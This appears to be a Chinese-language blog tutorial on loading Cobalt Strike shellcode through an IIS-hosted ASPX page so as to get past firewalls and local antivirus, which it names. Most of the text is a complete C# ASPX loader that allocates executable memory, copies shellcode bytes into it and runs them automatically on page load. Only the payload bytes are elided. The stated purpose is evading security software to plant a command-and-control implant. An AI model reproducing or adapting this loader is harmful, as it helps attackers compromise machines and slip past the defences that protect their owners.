使用正常的exe或者一些Shellcode加载器可能会触发防火墙或者本地杀软的规则,导致被拦截,因此可以使用web服务来加载shellcode上线CS,因为web服务和本地的落地文件不大一样,可能就可以进行上线,但是最新版的火绒是上线不了了。可能还需要加以改进吧,只能说提供了一种思路。

ASPX

搭建完一个IIS7+ASP的服务器后,打印一个字符串,表示环境搭建完毕,此时我们可以自定义新增加一个页面,页面上来加载我们的shellcode
image.png
而且,默认安装ASP,ASPX也是可以解析的
image.png
—————————————————————————————————————————————————
一个 aspx 的加载 shellcode 例子如下:
codeBytes 即位我们需要填充的地方,这里注意{}里的格式,一定要是这种格式才行0xfc,0xe8,0x89,0x00
Page_Load 是特殊函数 在页面加载的时候会自动调用,所以只要访问这个 aspx
文件那么就会把 shellcode 加载到内存,上线 cs。

  1. <%@ Page Language="C#" AutoEventWireup="true"
  2. Inherits="System.Web.UI.Page" Debug="true"%>
  3. <%@ Import Namespace="System" %>
  4. <%@ Import Namespace="System.Runtime.InteropServices" %>
  5. <script runat="server">
  6. delegate int MsfpayloadProc();
  7. protected void Page_Load(object sender, EventArgs e)
  8. {
  9. byte[] codeBytes ={0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,xxx};
  10. IntPtr handle = IntPtr.Zero;
  11. handle = VirtualAlloc(
  12. IntPtr.Zero,
  13. codeBytes.Length,
  14. MEM_COMMIT | MEM_RESERVE,
  15. PAGE_EXECUTE_READWRITE);
  16. try
  17. {
  18. Marshal.Copy(codeBytes, 0, handle, codeBytes.Length);
  19. MsfpayloadProc msfpayload
  20. = Marshal.GetDelegateForFunctionPointer(handle,
  21. typeof(MsfpayloadProc)) as MsfpayloadProc;
  22. msfpayload();
  23. }
  24. finally
  25. {
  26. VirtualFree(handle, 0, MEM_RELEASE);}
  27. }
  28. //Windows API
  29. [DllImport("Kernel32.dll", EntryPoint = "VirtualAlloc")]
  30. public static extern IntPtr VirtualAlloc(IntPtr address, int
  31. size, uint allocType, uint protect);
  32. [DllImport("Kernel32.dll", EntryPoint = "VirtualFree")]
  33. public static extern bool VirtualFree(IntPtr address, int size,
  34. uint freeType);
  35. //flags
  36. const uint MEM_COMMIT = 0x1000;
  37. const uint MEM_RESERVE = 0x2000;
  38. const uint PAGE_EXECUTE_READWRITE = 0x40;
  39. const uint MEM_RELEASE = 0x8000;
  40. </script>